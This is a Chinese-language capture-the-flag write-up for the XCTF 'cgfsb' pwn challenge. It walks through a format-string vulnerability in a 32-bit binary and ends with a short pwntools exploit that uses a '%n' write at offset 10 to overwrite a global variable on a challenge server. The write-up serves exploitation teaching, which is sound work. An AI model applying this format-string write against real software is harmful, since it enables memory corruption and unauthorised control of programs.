攻防世界 pwn cgfsb writeup

攻防世界pwn——cgfsb

这一题是关于格式化字符串漏洞的题,是一个单一漏洞题,不需要太多的绕过。
拿到题目首先查看一下保护:
攻防世界 pwn cgfsb writeup_第1张图片
可以看到,这是一个32位的程序。
并且开启了Canary保护和NX保护。
我们看一下IDA:
进入IDA,按下F5可以得到伪C代码:
攻防世界 pwn cgfsb writeup_第2张图片
可以看到有一个格式化漏洞printf(&s),我们可以通过这条语句把pwnme的值改为8,就可以的到flag了。
打开gdb,查看pwnme的偏移:
首先下一个断点:
下到printf()那里:
在这里插入图片描述
攻防世界 pwn cgfsb writeup_第3张图片
查看我们输入的参数位置在第10位,从零开始,数到箭头位置是第十位。(a的ACSII码的16进制为0x61)
知道了偏移,下面就是构造exp了。
exp如下:

#! /usr/bin/env python
from pwn import *
#p=process('./cgfsb')
p=remote('111.198.29.45',36477)
pwnme_addr=0x0804A068
p.sendlineafter("name:\n",'a'*8)
p.sendlineafter("message please:\n",p32(pwnme_addr)+'a'*4+'%10$n')
print p.recvall()
print p.recvall()

pwnme的地址可以在IDA中查看。
然后就运行exp就可以了。

攻防世界 pwn cgfsb writeup_第4张图片

你可能感兴趣的:(攻防世界 pwn cgfsb writeup)